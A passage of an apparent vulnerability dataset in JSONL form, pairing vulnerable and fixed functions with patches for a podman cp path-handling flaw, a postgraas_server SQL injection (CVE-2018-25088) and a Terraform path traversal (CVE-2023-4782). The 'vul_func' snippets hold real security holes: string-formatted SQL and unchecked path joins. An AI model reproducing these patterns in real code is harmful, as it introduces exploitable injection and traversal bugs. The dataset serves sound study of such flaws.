filepath.IsAbs(srcPath) {\n\t\t\tsrcPath = filepath.Join(mountPoint, srcPath)\n\t\t} else {\n\t\t\tsrcPath = filepath.Join(mountPoint, ctr.WorkingDir(), srcPath)\n\t\t}\n\t}\n\tglob, err = filepath.Glob(srcPath)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"invalid glob %q\", srcPath)\n\t}\n\tif len(glob) == 0 {\n\t\tglob = append(glob, srcPath)\n\t}\n\tif !filepath.IsAbs(destPath) {\n\t\tdir, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"err getting current working directory\")\n\t\t}\n\t\tdestPath = filepath.Join(dir, destPath)\n\t}\n\n\tvar lastError error\n\tfor _, src := range glob {\n\t\tif src == \"-\" {\n\t\t\tsrc = os.Stdin.Name()\n\t\t\textract = true\n\t\t}\n\t\terr := copy(src, destPath, dest, idMappingOpts, &containerOwner, extract, isFromHostToCtr)\n\t\tif lastError != nil {\n\t\t\tlogrus.Error(lastError)\n\t\t}\n\t\tlastError = err\n\t}\n\treturn lastError\n}"}], "fix_func": [{"id": "fix_go_139_1", "commit": "2dcfd3d", "file_path": "cmd/podman/cliconfig/create.go", "start_line": 24, "end_line": 28, "snippet": "type CpValues struct {\n\tPodmanCommand\n\tExtract bool\n\tPause   bool\n}"}, {"id": "fix_go_139_2", "commit": "2dcfd3d", "file_path": "cmd/podman/cp.go", "start_line": 50, "end_line": 58, "snippet": "func init() {\n\tcpCommand.Command = _cpCommand\n\tflags := cpCommand.Flags()\n\tflags.BoolVar(&cpCommand.Extract, \"extract\", false, \"Extract the tar file into the destination directory.\")\n\tflags.BoolVar(&cpCommand.Pause, \"pause\", true, \"Pause the container while copying\")\n\tcpCommand.SetHelpTemplate(HelpTemplate())\n\tcpCommand.SetUsageTemplate(UsageTemplate())\n\trootCmd.AddCommand(cpCommand.Command)\n}"}, {"id": "fix_go_139_3", "commit": "2dcfd3d", "file_path": "cmd/podman/cp.go", "start_line": 60, "end_line": 73, "snippet": "func cpCmd(c *cliconfig.CpValues) error {\n\targs := c.InputArgs\n\tif len(args) != 2 {\n\t\treturn errors.Errorf(\"you must provide a source path and a destination path\")\n\t}\n\n\truntime, err := libpodruntime.GetRuntime(getContext(), &c.PodmanCommand)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"could not get runtime\")\n\t}\n\tdefer runtime.Shutdown(false)\n\n\treturn copyBetweenHostAndContainer(runtime, args[0], args[1], c.Extract, c.Pause)\n}"}, {"id": "fix_go_139_4", "commit": "2dcfd3d", "file_path": "cmd/podman/cp.go", "start_line": 75, "end_line": 211, "snippet": "func copyBetweenHostAndContainer(runtime *libpod.Runtime, src string, dest string, extract bool, pause bool) error {\n\n\tsrcCtr, srcPath := parsePath(runtime, src)\n\tdestCtr, destPath := parsePath(runtime, dest)\n\n\tif (srcCtr == nil && destCtr == nil) || (srcCtr != nil && destCtr != nil) {\n\t\treturn errors.Errorf(\"invalid arguments %s, %s you must use just one container\", src, dest)\n\t}\n\n\tif len(srcPath) == 0 || len(destPath) == 0 {\n\t\treturn errors.Errorf(\"invalid arguments %s, %s you must specify paths\", src, dest)\n\t}\n\tctr := srcCtr\n\tisFromHostToCtr := (ctr == nil)\n\tif isFromHostToCtr {\n\t\tctr = destCtr\n\t}\n\n\tmountPoint, err := ctr.Mount()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer ctr.Unmount(false)\n\n\t// We can't pause rootless containers.\n\tif pause && rootless.IsRootless() {\n\t\tstate, err := ctr.State()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif state == libpod.ContainerStateRunning {\n\t\t\treturn errors.Errorf(\"cannot copy into running rootless container with pause set - pass --pause=false to force copying\")\n\t\t}\n\t}\n\n\tif pause && !rootless.IsRootless() {\n\t\tif err := ctr.Pause(); err != nil {\n\t\t\t// An invalid state error is fine.\n\t\t\t// The container isn't running or is already paused.\n\t\t\t// TODO: We can potentially start the container while\n\t\t\t// the copy is running, which still allows a race where\n\t\t\t// malicious code could mess with the symlink.\n\t\t\tif errors.Cause(err) != libpod.ErrCtrStateInvalid {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else if err == nil {\n\t\t\t// Only add the defer if we actually paused\n\t\t\tdefer func() {\n\t\t\t\tif err := ctr.Unpause(); err != nil {\n\t\t\t\t\tlogrus.Errorf(\"Error unpausing container after copying: %v\", err)\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n\n\tuser, err := getUser(mountPoint, ctr.User())\n\tif err != nil {\n\t\treturn err\n\t}\n\tidMappingOpts, err := ctr.IDMappings()\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error getting IDMappingOptions\")\n\t}\n\tcontainerOwner := idtools.IDPair{UID: int(user.UID), GID: int(user.GID)}\n\thostUID, hostGID, err := util.GetHostIDs(convertIDMap(idMappingOpts.UIDMap), convertIDMap(idMappingOpts.GIDMap), user.UID, user.GID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thostOwner := idtools.IDPair{UID: int(hostUID), GID: int(hostGID)}\n\n\tvar glob []string\n\tif isFromHostToCtr {\n\t\tif filepath.IsAbs(destPath) {\n\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, destPath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdestPath = cleanedPath\n\t\t} else {\n\t\t\tctrWorkDir, err := securejoin.SecureJoin(mountPoint, ctr.WorkingDir())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err = idtools.MkdirAllAndChownNew(ctrWorkDir, 0755, hostOwner); err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"error creating directory %q\", destPath)\n\t\t\t}\n\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, filepath.Join(ctr.WorkingDir(), destPath))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdestPath = cleanedPath\n\t\t}\n\t} else {\n\t\tif filepath.IsAbs(srcPath) {\n\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, srcPath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsrcPath = cleanedPath\n\t\t} else {\n\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, filepath.Join(ctr.WorkingDir(), srcPath))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsrcPath = cleanedPath\n\t\t}\n\t}\n\tglob, err = filepath.Glob(srcPath)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"invalid glob %q\", srcPath)\n\t}\n\tif len(glob) == 0 {\n\t\tglob = append(glob, srcPath)\n\t}\n\tif !filepath.IsAbs(destPath) {\n\t\tdir, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"err getting current working directory\")\n\t\t}\n\t\tdestPath = filepath.Join(dir, destPath)\n\t}\n\n\tvar lastError error\n\tfor _, src := range glob {\n\t\tif src == \"-\" {\n\t\t\tsrc = os.Stdin.Name()\n\t\t\textract = true\n\t\t}\n\t\terr := copy(src, destPath, dest, idMappingOpts, &containerOwner, extract, isFromHostToCtr)\n\t\tif lastError != nil {\n\t\t\tlogrus.Error(lastError)\n\t\t}\n\t\tlastError = err\n\t}\n\treturn lastError\n}"}], "vul_patch": "--- a/cmd/podman/cliconfig/create.go\n+++ b/cmd/podman/cliconfig/create.go\n@@ -1,4 +1,5 @@\n type CpValues struct {\n \tPodmanCommand\n \tExtract bool\n+\tPause   bool\n }\n\n--- a/cmd/podman/cp.go\n+++ b/cmd/podman/cp.go\n@@ -2,6 +2,7 @@\n \tcpCommand.Command = _cpCommand\n \tflags := cpCommand.Flags()\n \tflags.BoolVar(&cpCommand.Extract, \"extract\", false, \"Extract the tar file into the destination directory.\")\n+\tflags.BoolVar(&cpCommand.Pause, \"pause\", true, \"Pause the container while copying\")\n \tcpCommand.SetHelpTemplate(HelpTemplate())\n \tcpCommand.SetUsageTemplate(UsageTemplate())\n \trootCmd.AddCommand(cpCommand.Command)\n\n--- a/cmd/podman/cp.go\n+++ b/cmd/podman/cp.go\n@@ -10,6 +10,5 @@\n \t}\n \tdefer runtime.Shutdown(false)\n \n-\textract := c.Flag(\"extract\").Changed\n-\treturn copyBetweenHostAndContainer(runtime, args[0], args[1], extract)\n+\treturn copyBetweenHostAndContainer(runtime, args[0], args[1], c.Extract, c.Pause)\n }\n\n--- a/cmd/podman/cp.go\n+++ b/cmd/podman/cp.go\n@@ -1,4 +1,4 @@\n-func copyBetweenHostAndContainer(runtime *libpod.Runtime, src string, dest string, extract bool) error {\n+func copyBetweenHostAndContainer(runtime *libpod.Runtime, src string, dest string, extract bool, pause bool) error {\n \n \tsrcCtr, srcPath := parsePath(runtime, src)\n \tdestCtr, destPath := parsePath(runtime, dest)\n@@ -21,6 +21,38 @@\n \t\treturn err\n \t}\n \tdefer ctr.Unmount(false)\n+\n+\t// We can't pause rootless containers.\n+\tif pause && rootless.IsRootless() {\n+\t\tstate, err := ctr.State()\n+\t\tif err != nil {\n+\t\t\treturn err\n+\t\t}\n+\t\tif state == libpod.ContainerStateRunning {\n+\t\t\treturn errors.Errorf(\"cannot copy into running rootless container with pause set - pass --pause=false to force copying\")\n+\t\t}\n+\t}\n+\n+\tif pause && !rootless.IsRootless() {\n+\t\tif err := ctr.Pause(); err != nil {\n+\t\t\t// An invalid state error is fine.\n+\t\t\t// The container isn't running or is already paused.\n+\t\t\t// TODO: We can potentially start the container while\n+\t\t\t// the copy is running, which still allows a race where\n+\t\t\t// malicious code could mess with the symlink.\n+\t\t\tif errors.Cause(err) != libpod.ErrCtrStateInvalid {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t} else if err == nil {\n+\t\t\t// Only add the defer if we actually paused\n+\t\t\tdefer func() {\n+\t\t\t\tif err := ctr.Unpause(); err != nil {\n+\t\t\t\t\tlogrus.Errorf(\"Error unpausing container after copying: %v\", err)\n+\t\t\t\t}\n+\t\t\t}()\n+\t\t}\n+\t}\n+\n \tuser, err := getUser(mountPoint, ctr.User())\n \tif err != nil {\n \t\treturn err\n@@ -40,19 +72,38 @@\n \tvar glob []string\n \tif isFromHostToCtr {\n \t\tif filepath.IsAbs(destPath) {\n-\t\t\tdestPath = filepath.Join(mountPoint, destPath)\n-\n+\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, destPath)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tdestPath = cleanedPath\n \t\t} else {\n-\t\t\tif err = idtools.MkdirAllAndChownNew(filepath.Join(mountPoint, ctr.WorkingDir()), 0755, hostOwner); err != nil {\n+\t\t\tctrWorkDir, err := securejoin.SecureJoin(mountPoint, ctr.WorkingDir())\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tif err = idtools.MkdirAllAndChownNew(ctrWorkDir, 0755, hostOwner); err != nil {\n \t\t\t\treturn errors.Wrapf(err, \"error creating directory %q\", destPath)\n \t\t\t}\n-\t\t\tdestPath = filepath.Join(mountPoint, ctr.WorkingDir(), destPath)\n+\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, filepath.Join(ctr.WorkingDir(), destPath))\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tdestPath = cleanedPath\n \t\t}\n \t} else {\n \t\tif filepath.IsAbs(srcPath) {\n-\t\t\tsrcPath = filepath.Join(mountPoint, srcPath)\n+\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, srcPath)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tsrcPath = cleanedPath\n \t\t} else {\n-\t\t\tsrcPath = filepath.Join(mountPoint, ctr.WorkingDir(), srcPath)\n+\t\t\tcleanedPath, err := securejoin.SecureJoin(mountPoint, filepath.Join(ctr.WorkingDir(), srcPath))\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tsrcPath = cleanedPath\n \t\t}\n \t}\n \tglob, err = filepath.Glob(srcPath)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-25088", "cve_description": "A vulnerability, which was classified as critical, was found in Blue Yonder postgraas_server up to 2.0.0b2. Affected is the function _create_pg_connection/create_postgres_db of the file postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py of the component PostgreSQL Backend Handler. The manipulation leads to sql injection. Upgrading to version 2.0.0 is able to address this issue. The patch is identified as 7cd8d016edc74a78af0d81c948bfafbcc93c937c. It is recommended to upgrade the affected component. VDB-234246 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/blue-yonder/postgraas_server", "patch_url": ["https://github.com/blue-yonder/postgraas_server/commit/7cd8d016edc74a78af0d81c948bfafbcc93c937c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_232_1", "commit": "bd4f1b8", "file_path": "postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py", "start_line": 19, "end_line": 27, "snippet": "def check_db_or_user_exists(db_name, db_user, config):\n    with _create_pg_connection(config) as con:\n        with con.cursor() as cur:\n            cur.execute(\"SELECT 1 FROM pg_database WHERE datname='{}';\".format(db_name))\n            db_exists = cur.fetchone() is not None\n            cur.execute(\"SELECT 1 FROM pg_roles WHERE rolname='{}';\".format(db_user))\n            user = cur.fetchone()\n            user_exists = user is not None\n            return db_exists or user_exists"}, {"id": "vul_py_232_2", "commit": "bd4f1b8", "file_path": "postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py", "start_line": 30, "end_line": 53, "snippet": "def create_postgres_db(connection_dict, config):\n    if check_db_or_user_exists(connection_dict[\"db_name\"], connection_dict[\"db_username\"], config):\n        raise ValueError(\"db or user already exists\")\n    with _create_pg_connection(config) as con:\n        con.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n        with con.cursor() as cur:\n            create_role = \"CREATE USER {db_username} WITH PASSWORD '{db_pwd}';\".format(**connection_dict)\n            drop_role = \"DROP ROLE {db_username};\".format(**connection_dict)\n            grant_role = 'GRANT {db_username} TO \"{postgraas_user}\";'.format(\n                db_username=connection_dict['db_username'], postgraas_user=get_normalized_username(config['username'])\n            )\n            create_database = \"CREATE DATABASE {db_name} OWNER {db_username};\".format(**connection_dict)\n            try:\n                cur.execute(create_role)\n                cur.execute(grant_role)\n            except psycopg2.ProgrammingError as e:\n                raise ValueError(e.args[0])\n            # cleanup role in case database creation fails\n            # saidly 'CREATE DATABASE' cannot run inside a transaction block\n            try:\n                cur.execute(create_database)\n            except psycopg2.ProgrammingError as e:\n                cur.execute(drop_role)\n                raise ValueError(e.args[0])"}], "fix_func": [{"id": "fix_py_232_1", "commit": "7cd8d01", "file_path": "postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py", "start_line": 20, "end_line": 28, "snippet": "def check_db_or_user_exists(db_name, db_user, config):\n    with _create_pg_connection(config) as con:\n        with con.cursor() as cur:\n            cur.execute(\"SELECT 1 FROM pg_database WHERE datname=%s;\", (db_name, ))\n            db_exists = cur.fetchone() is not None\n            cur.execute(\"SELECT 1 FROM pg_roles WHERE rolname=%s;\", (db_user, ))\n            user = cur.fetchone()\n            user_exists = user is not None\n            return db_exists or user_exists"}, {"id": "fix_py_232_2", "commit": "7cd8d01", "file_path": "postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py", "start_line": 31, "end_line": 60, "snippet": "def create_postgres_db(connection_dict, config):\n    if check_db_or_user_exists(connection_dict[\"db_name\"], connection_dict[\"db_username\"], config):\n        raise ValueError(\"db or user already exists\")\n    with _create_pg_connection(config) as con:\n        con.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n        with con.cursor() as cur:\n            try:\n                cur.execute(SQL(\"CREATE USER {} WITH PASSWORD %s;\").format(\n                    Identifier(connection_dict['db_username']),\n                ), (\n                    connection_dict['db_pwd'],\n                ))\n                cur.execute(SQL(\"GRANT {} TO {};\").format(\n                    Identifier(connection_dict['db_username']),\n                    Identifier(get_normalized_username(config['username'])),\n                ))\n            except psycopg2.ProgrammingError as e:\n                raise ValueError(e.args[0])\n            # cleanup role in case database creation fails\n            # sadly 'CREATE DATABASE' cannot run inside a transaction block\n            try:\n                cur.execute(SQL(\"CREATE DATABASE {} OWNER {};\").format(\n                    Identifier(connection_dict['db_name']),\n                    Identifier(connection_dict['db_username']),\n                ))\n            except psycopg2.ProgrammingError as e:\n                cur.execute(SQL(\"DROP ROLE {};\").format(\n                    Identifier(connection_dict['db_username']),\n                ))\n                raise ValueError(e.args[0])"}], "vul_patch": "--- a/postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py\n+++ b/postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py\n@@ -1,9 +1,9 @@\n def check_db_or_user_exists(db_name, db_user, config):\n     with _create_pg_connection(config) as con:\n         with con.cursor() as cur:\n-            cur.execute(\"SELECT 1 FROM pg_database WHERE datname='{}';\".format(db_name))\n+            cur.execute(\"SELECT 1 FROM pg_database WHERE datname=%s;\", (db_name, ))\n             db_exists = cur.fetchone() is not None\n-            cur.execute(\"SELECT 1 FROM pg_roles WHERE rolname='{}';\".format(db_user))\n+            cur.execute(\"SELECT 1 FROM pg_roles WHERE rolname=%s;\", (db_user, ))\n             user = cur.fetchone()\n             user_exists = user is not None\n             return db_exists or user_exists\n\n--- a/postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py\n+++ b/postgraas_server/backends/postgres_cluster/postgres_cluster_driver.py\n@@ -4,21 +4,27 @@\n     with _create_pg_connection(config) as con:\n         con.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n         with con.cursor() as cur:\n-            create_role = \"CREATE USER {db_username} WITH PASSWORD '{db_pwd}';\".format(**connection_dict)\n-            drop_role = \"DROP ROLE {db_username};\".format(**connection_dict)\n-            grant_role = 'GRANT {db_username} TO \"{postgraas_user}\";'.format(\n-                db_username=connection_dict['db_username'], postgraas_user=get_normalized_username(config['username'])\n-            )\n-            create_database = \"CREATE DATABASE {db_name} OWNER {db_username};\".format(**connection_dict)\n             try:\n-                cur.execute(create_role)\n-                cur.execute(grant_role)\n+                cur.execute(SQL(\"CREATE USER {} WITH PASSWORD %s;\").format(\n+                    Identifier(connection_dict['db_username']),\n+                ), (\n+                    connection_dict['db_pwd'],\n+                ))\n+                cur.execute(SQL(\"GRANT {} TO {};\").format(\n+                    Identifier(connection_dict['db_username']),\n+                    Identifier(get_normalized_username(config['username'])),\n+                ))\n             except psycopg2.ProgrammingError as e:\n                 raise ValueError(e.args[0])\n             # cleanup role in case database creation fails\n-            # saidly 'CREATE DATABASE' cannot run inside a transaction block\n+            # sadly 'CREATE DATABASE' cannot run inside a transaction block\n             try:\n-                cur.execute(create_database)\n+                cur.execute(SQL(\"CREATE DATABASE {} OWNER {};\").format(\n+                    Identifier(connection_dict['db_name']),\n+                    Identifier(connection_dict['db_username']),\n+                ))\n             except psycopg2.ProgrammingError as e:\n-                cur.execute(drop_role)\n+                cur.execute(SQL(\"DROP ROLE {};\").format(\n+                    Identifier(connection_dict['db_username']),\n+                ))\n                 raise ValueError(e.args[0])\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-4782", "cve_description": "Terraform version 1.0.8 through 1.5.6 allows arbitrary file write during the `init` operation if run on maliciously crafted Terraform configuration. This vulnerability is fixed in Terraform 1.5.7.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/hashicorp/terraform", "patch_url": ["https://github.com/hashicorp/terraform/commit/0f2314fb62193c4be94328cc026fcb7ec1e9b893"], "programing_language": "Go", "vul_func": [{"id": "vul_go_265_1", "commit": "1c3e25b0fda77460c40387f5ebe10c59893a7d11", "file_path": "internal/initwd/module_install.go", "start_line": 144, "end_line": 284, "snippet": "func (i *ModuleInstaller) moduleInstallWalker(ctx context.Context, manifest modsdir.Manifest, upgrade bool, hooks ModuleInstallHooks, fetcher *getmodules.PackageFetcher) configs.ModuleWalker {\n\treturn configs.ModuleWalkerFunc(\n\t\tfunc(req *configs.ModuleRequest) (*configs.Module, *version.Version, hcl.Diagnostics) {\n\t\t\tvar diags hcl.Diagnostics\n\n\t\t\tif req.SourceAddr == nil {\n\t\t\t\t// If the parent module failed to parse the module source\n\t\t\t\t// address, we can't load it here. Return nothing as the parent\n\t\t\t\t// module's diagnostics should explain this.\n\t\t\t\treturn nil, nil, diags\n\t\t\t}\n\n\t\t\tif req.Name == \"\" {\n\t\t\t\t// An empty string for a module instance name breaks our\n\t\t\t\t// manifest map, which uses that to indicate the root module.\n\t\t\t\t// Because we descend into modules which have errors, we need\n\t\t\t\t// to look out for this case, but the config loader's\n\t\t\t\t// diagnostics will report the error later.\n\t\t\t\treturn nil, nil, diags\n\t\t\t}\n\n\t\t\tkey := manifest.ModuleKey(req.Path)\n\t\t\tinstPath := i.packageInstallPath(req.Path)\n\n\t\t\tlog.Printf(\"[DEBUG] Module installer: begin %s\", key)\n\n\t\t\t// First we'll check if we need to upgrade/replace an existing\n\t\t\t// installed module, and delete it out of the way if so.\n\t\t\treplace := upgrade\n\t\t\tif !replace {\n\t\t\t\trecord, recorded := manifest[key]\n\t\t\t\tswitch {\n\t\t\t\tcase !recorded:\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s is not yet installed\", key)\n\t\t\t\t\treplace = true\n\t\t\t\tcase record.SourceAddr != req.SourceAddr.String():\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s source address has changed from %q to %q\", key, record.SourceAddr, req.SourceAddr)\n\t\t\t\t\treplace = true\n\t\t\t\tcase record.Version != nil && !req.VersionConstraint.Required.Check(record.Version):\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s version %s no longer compatible with constraints %s\", key, record.Version, req.VersionConstraint.Required)\n\t\t\t\t\treplace = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If we _are_ planning to replace this module, then we'll remove\n\t\t\t// it now so our installation code below won't conflict with any\n\t\t\t// existing remnants.\n\t\t\tif replace {\n\t\t\t\tif _, recorded := manifest[key]; recorded {\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: discarding previous record of %s prior to reinstall\", key)\n\t\t\t\t}\n\t\t\t\tdelete(manifest, key)\n\t\t\t\t// Deleting a module invalidates all of its descendent modules too.\n\t\t\t\tkeyPrefix := key + \".\"\n\t\t\t\tfor subKey := range manifest {\n\t\t\t\t\tif strings.HasPrefix(subKey, keyPrefix) {\n\t\t\t\t\t\tif _, recorded := manifest[subKey]; recorded {\n\t\t\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: also discarding downstream %s\", subKey)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdelete(manifest, subKey)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\trecord, recorded := manifest[key]\n\t\t\tif !recorded {\n\t\t\t\t// Clean up any stale cache directory that might be present.\n\t\t\t\t// If this is a local (relative) source then the dir will\n\t\t\t\t// not exist, but we'll ignore that.\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: cleaning directory %s prior to install of %s\", instPath, key)\n\t\t\t\terr := os.RemoveAll(instPath)\n\t\t\t\tif err != nil && !os.IsNotExist(err) {\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: failed to remove %s: %s\", key, err)\n\t\t\t\t\tdiags = diags.Append(&hcl.Diagnostic{\n\t\t\t\t\t\tSeverity: hcl.DiagError,\n\t\t\t\t\t\tSummary:  \"Failed to remove local module cache\",\n\t\t\t\t\t\tDetail: fmt.Sprintf(\n\t\t\t\t\t\t\t\"Terraform tried to remove %s in order to reinstall this module, but encountered an error: %s\",\n\t\t\t\t\t\t\tinstPath, err,\n\t\t\t\t\t\t),\n\t\t\t\t\t})\n\t\t\t\t\treturn nil, nil, diags\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// If this module is already recorded and its root directory\n\t\t\t\t// exists then we will just load what's already there and\n\t\t\t\t// keep our existing record.\n\t\t\t\tinfo, err := os.Stat(record.Dir)\n\t\t\t\tif err == nil && info.IsDir() {\n\t\t\t\t\tmod, mDiags := i.loader.Parser().LoadConfigDir(record.Dir)\n\t\t\t\t\tif mod == nil {\n\t\t\t\t\t\t// nil indicates an unreadable module, which should never happen,\n\t\t\t\t\t\t// so we return the full loader diagnostics here.\n\t\t\t\t\t\tdiags = diags.Extend(mDiags)\n\t\t\t\t\t} else if vDiags := mod.CheckCoreVersionRequirements(req.Path, req.SourceAddr); vDiags.HasErrors() {\n\t\t\t\t\t\t// If the core version requirements are not met, we drop any other\n\t\t\t\t\t\t// diagnostics, as they may reflect language changes from future\n\t\t\t\t\t\t// Terraform versions.\n\t\t\t\t\t\tdiags = diags.Extend(vDiags)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdiags = diags.Extend(mDiags)\n\t\t\t\t\t}\n\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: Module installer: %s %s already installed in %s\", key, record.Version, record.Dir)\n\t\t\t\t\treturn mod, record.Version, diags\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If we get down here then it's finally time to actually install\n\t\t\t// the module. There are some variants to this process depending\n\t\t\t// on what type of module source address we have.\n\n\t\t\tswitch addr := req.SourceAddr.(type) {\n\n\t\t\tcase addrs.ModuleSourceLocal:\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s has local path %q\", key, addr.String())\n\t\t\t\tmod, mDiags := i.installLocalModule(req, key, manifest, hooks)\n\t\t\t\tmDiags = maybeImproveLocalInstallError(req, mDiags)\n\t\t\t\tdiags = append(diags, mDiags...)\n\t\t\t\treturn mod, nil, diags\n\n\t\t\tcase addrs.ModuleSourceRegistry:\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s is a registry module at %s\", key, addr.String())\n\t\t\t\tmod, v, mDiags := i.installRegistryModule(ctx, req, key, instPath, addr, manifest, hooks, fetcher)\n\t\t\t\tdiags = append(diags, mDiags...)\n\t\t\t\treturn mod, v, diags\n\n\t\t\tcase addrs.ModuleSourceRemote:\n\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s address %q will be handled by go-getter\", key, addr.String())\n\t\t\t\tmod, mDiags := i.installGoGetterModule(ctx, req, key, instPath, manifest, hooks, fetcher)\n\t\t\t\tdiags = append(diags, mDiags...)\n\t\t\t\treturn mod, nil, diags\n\n\t\t\tdefault:\n\t\t\t\t// Shouldn't get here, because there are no other implementations\n\t\t\t\t// of addrs.ModuleSource.\n\t\t\t\tpanic(fmt.Sprintf(\"unsupported module source address %#v\", addr))\n\t\t\t}\n\t\t},\n\t)\n}"}], "fix_func": [{"id": "fix_go_265_1", "commit": "0f2314fb62193c4be94328cc026fcb7ec1e9b893", "file_path": "internal/initwd/module_install.go", "start_line": 144, "end_line": 291, "snippet": "func (i *ModuleInstaller) moduleInstallWalker(ctx context.Context, manifest modsdir.Manifest, upgrade bool, hooks ModuleInstallHooks, fetcher *getmodules.PackageFetcher) configs.ModuleWalker {\n\treturn configs.ModuleWalkerFunc(\n\t\tfunc(req *configs.ModuleRequest) (*configs.Module, *version.Version, hcl.Diagnostics) {\n\t\t\tvar diags hcl.Diagnostics\n\n\t\t\tif req.SourceAddr == nil {\n\t\t\t\t// If the parent module failed to parse the module source\n\t\t\t\t// address, we can't load it here. Return nothing as the parent\n\t\t\t\t// module's diagnostics should explain this.\n\t\t\t\treturn nil, nil, diags\n\t\t\t}\n\n\t\t\tif req.Name == \"\" {\n\t\t\t\t// An empty string for a module instance name breaks our\n\t\t\t\t// manifest map, which uses that to indicate the root module.\n\t\t\t\t// Because we descend into modules which have errors, we need\n\t\t\t\t// to look out for this case, but the config loader's\n\t\t\t\t// diagnostics will report the error later.\n\t\t\t\treturn nil, nil, diags\n\t\t\t}\n\n\t\t\tif !hclsyntax.ValidIdentifier(req.Name) {\n\t\t\t\t// A module with an invalid name shouldn't be installed at all. This is\n\t\t\t\t// mostly a concern for remote modules, since we need to be able to convert\n\t\t\t\t// the name to a valid path.\n\t\t\t\treturn nil, nil, diags\n\t\t\t}\n\n\t\t\tkey := manifest.ModuleKey(req.Path)\n\t\t\tinstPath := i.packageInstallPath(req.Path)\n\n\t\t\tlog.Printf(\"[DEBUG] Module installer: begin %s\", key)\n\n\t\t\t// First we'll check if we need to upgrade/replace an existing\n\t\t\t// installed module, and delete it out of the way if so.\n\t\t\treplace := upgrade\n\t\t\tif !replace {\n\t\t\t\trecord, recorded := manifest[key]\n\t\t\t\tswitch {\n\t\t\t\tcase !recorded:\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s is not yet installed\", key)\n\t\t\t\t\treplace = true\n\t\t\t\tcase record.SourceAddr != req.SourceAddr.String():\n\t\t\t\t\tlog.Printf(\"[TRACE] ModuleInstaller: %s source address has changed from %q to %q\", key, 